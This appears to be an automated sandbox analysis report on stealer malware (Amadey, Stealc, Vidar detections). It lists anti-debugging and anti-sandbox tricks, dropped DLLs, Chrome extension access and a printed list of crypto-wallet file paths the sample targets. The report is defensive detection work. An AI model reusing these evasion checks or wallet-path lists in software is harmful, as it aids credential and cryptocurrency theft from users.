Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104B7A3 second address: 104B7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 104B7A9 second address: 104B7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007EFC80C0D648h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1054F36 second address: 1054F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC80C379A2h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10157E9 second address: 10157ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10157ED second address: 101583D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFC80C3799Dh 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007EFC80C3799Ah 0x00000012 nop 0x00000013 mov edx, ecx 0x00000015 sbb edi, 0B12A2A2h 0x0000001b lea eax, dword ptr [ebp+1248A55Fh] 0x00000021 mov dword ptr [ebp+122D308Bh], eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007EFC80C379A9h 0x0000002f rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 101583D second address: 1015843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1015E00 second address: 1015E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1015E05 second address: 1015E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1015E0B second address: 1015E1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007EFC80C379A4h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13BCA97 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 121FC30 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Special instruction interceptor: First address: E5EB6C instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Special instruction interceptor: First address: E5EC59 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Special instruction interceptor: First address: E5C392 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Special instruction interceptor: First address: 102B888 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Special instruction interceptor: First address: 10964BD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 66EB6C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 66EC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 66C392 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83B888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8A64BD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

Code function: 18_2_05060352 rdtsc

18_2_05060352

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\BY5BeYh[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1012713001\BY5BeYh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 3704	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4560	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4560	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2672	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2672	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5756	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5368	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5368	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5076	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6504	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6504	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep time: -1680000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C95C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C95C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: file.exe, KJJJKFIIIJ.exe.0.dr, random[1].exe.0.dr, skotes.exe.18.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: HDAKJDHI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: HDAKJDHI.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdb
Source: HDAKJDHI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: HDAKJDHI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: HDAKJDHI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HDAKJDHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: skotes.exe, 0000001A.00000002.3391403923.0000000000A7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+
Source: HDAKJDHI.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: HDAKJDHI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: HDAKJDHI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MSHN6QKQEMU
Source: file.exe, 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarec
Source: HDAKJDHI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: HDAKJDHI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: HDAKJDHI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: HDAKJDHI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: HDAKJDHI.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: HDAKJDHI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: HDAKJDHI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: HDAKJDHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, KJJJKFIIIJ.exe.0.dr, random[1].exe.0.dr, skotes.exe.18.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HDAKJDHI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: HDAKJDHI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}+0

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

Code function: 18_2_05060352 rdtsc

18_2_05060352

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9A5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C943480

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E2652B mov eax, dword ptr fs:[00000030h]	18_2_00E2652B
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Code function: 18_2_00E2A302 mov eax, dword ptr fs:[00000030h]	18_2_00E2A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0063A302 mov eax, dword ptr fs:[00000030h]	19_2_0063A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0063652B mov eax, dword ptr fs:[00000030h]	19_2_0063652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0063A302 mov eax, dword ptr fs:[00000030h]	20_2_0063A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0063652B mov eax, dword ptr fs:[00000030h]	20_2_0063652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C97B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C97B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB2AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KJJJKFIIIJ.exe "C:\Users\user\Documents\KJJJKFIIIJ.exe"	Jump to behavior
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB74760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CB74760

Source: file.exe	Binary or memory string: 0Q1Program Manager
Source: skotes.exe, skotes.exe, 00000014.00000002.2826346754.000000000083B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3390279439.000000000083B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: sProgram Manager
Source: file.exe, 00000000.00000002.2732835966.00000000013E6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97B341 cpuid

0_2_6C97B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9435A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9435A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA78390 NSS_GetVersion,

0_2_6CA78390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 18.2.KJJJKFIIIJ.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2782020119.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2825585502.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2822492083.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3389172287.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
